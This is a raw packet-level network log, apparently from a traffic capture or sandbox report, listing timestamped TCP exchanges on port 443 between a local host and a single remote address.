Nov 1, 2024 05:53:18.395337105 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.395840883 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.395854950 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.396374941 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.396379948 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.420702934 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.421044111 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.421057940 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.421426058 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.421431065 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.430151939 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.430510998 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.430521965 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.430860043 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.430865049 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.491516113 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.491905928 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.491914034 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.492292881 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.492296934 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.523947954 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.523993969 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.524044037 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.524183989 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.524203062 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.524214983 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.524221897 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.526563883 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.526611090 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.526688099 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.526801109 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.526817083 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.552067995 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.552134991 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.552187920 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.552263975 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.552273989 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.552283049 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.552287102 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.554347038 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.554373980 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.554441929 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.554543972 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.554558039 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.559081078 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.559108973 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.559154034 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.559168100 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.559196949 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.559278011 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.559286118 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.559298038 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.559303045 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.561069965 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.561084032 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.561177015 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.561345100 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.561357021 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.621408939 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.621484995 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.621541023 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.621668100 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.621671915 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.621680021 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.621682882 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.623693943 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.623744011 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.623819113 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.623967886 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.623989105 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.728805065 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.729315042 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.729340076 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.729743958 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.729749918 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.857325077 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.857485056 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.857561111 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.857613087 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.857626915 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.857644081 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.857649088 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.860104084 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.860130072 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:18.860203981 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.860485077 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:18.860496998 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.267960072 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.268579960 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.268595934 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.269192934 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.269198895 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.295674086 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.296055079 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.296077013 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.296447992 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.296452999 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.328001022 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.328361988 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.328372002 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.328771114 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.328775883 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.402928114 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.403027058 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.403079987 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.403327942 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.403342009 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.403354883 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.403362036 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.406631947 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.406692028 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.406758070 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.406934023 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.406951904 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427064896 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427090883 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427128077 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.427149057 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427161932 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427203894 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.427403927 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.427413940 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.427423954 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.427432060 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.429975033 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.430005074 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.430064917 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.430210114 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.430222034 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.462837934 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.462960958 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.463031054 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.463121891 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.463139057 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.463171005 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.463176966 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.465514898 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.465538025 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.465630054 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.465775013 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.465789080 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.590265036 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.590785980 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.590799093 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.591224909 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.591229916 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.720803976 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.720942020 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.720998049 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.721133947 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.721147060 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.721162081 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.721165895 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.725280046 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.725311041 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:19.725368977 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.725488901 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:19.725502014 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.136113882 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.142852068 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.142891884 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.144144058 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.144159079 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.178786993 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.183536053 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.194093943 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.194116116 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.194544077 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.194547892 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.194794893 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.194806099 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.196571112 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.196577072 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.219794035 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.220123053 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.220143080 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.220859051 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.220865965 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.269699097 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.269839048 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.269895077 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.310316086 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.310333967 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.310344934 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.310353041 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.320878029 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.320938110 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.320987940 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.327291012 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.327302933 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.327316046 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.327321053 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.336191893 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.336224079 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.336272001 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.336282969 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.336316109 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.339071035 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.339083910 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.339095116 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.339101076 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.346911907 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.346931934 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.346992970 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.348946095 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.348974943 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.349020004 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.349028111 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.349067926 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.360673904 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.360696077 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.360846996 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.378082037 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.378096104 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.378890991 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.378916025 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.378957033 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.378969908 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.380289078 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.380301952 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.381516933 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.381536007 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.381594896 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.381689072 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.381699085 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.382848024 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.382889986 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.382950068 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.383488894 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.383517981 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.455851078 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.456423998 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.456434965 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.456851006 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.456856012 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.584614992 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.584691048 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.584748983 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.584906101 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.584918976 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.584933043 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.584938049 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.588097095 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.588110924 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:20.588186026 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.588315010 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:20.588326931 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.125313997 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.126157045 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.126176119 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.126612902 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.126620054 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.131061077 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.131378889 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.131429911 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.131720066 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.131736040 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.132091045 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.132314920 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.132327080 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.132631063 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.132635117 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.133934021 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.134149075 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.134164095 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.134474993 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.134480000 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.256211996 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.256270885 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.256402016 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.256706953 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.256724119 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.256736994 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.256743908 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.261439085 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.261502981 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.261610985 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.261782885 CET	49879	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.261804104 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.261809111 CET	443	49879	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.261868954 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.261921883 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.261984110 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.262052059 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.262096882 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.262135983 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.262156010 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.262186050 CET	49877	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.262197971 CET	443	49877	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.262448072 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.262456894 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.262501955 CET	49875	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.262506008 CET	443	49875	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.264746904 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.264775991 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.264787912 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.264813900 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.264857054 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.264858007 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.264889002 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.264918089 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.265049934 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.265062094 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.265245914 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.265264034 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.265294075 CET	49876	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.265300989 CET	443	49876	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.266113043 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.266144991 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.266201973 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.266314030 CET	49881	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.266329050 CET	443	49881	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.268203020 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.268210888 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.268276930 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.268404961 CET	49882	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.268413067 CET	443	49882	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.318393946 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.318816900 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.318830967 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.319250107 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.319263935 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.448190928 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.448787928 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.448848009 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.448877096 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.448889971 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.448930025 CET	49878	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.448935986 CET	443	49878	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.452023983 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.452060938 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:21.452115059 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.452286005 CET	49883	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:21.452301025 CET	443	49883	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.005048990 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.005569935 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.005587101 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.006031036 CET	49880	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:22.006036043 CET	443	49880	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:22.006273985 CET	443	49882	13.107.246.45	192.168.2.4
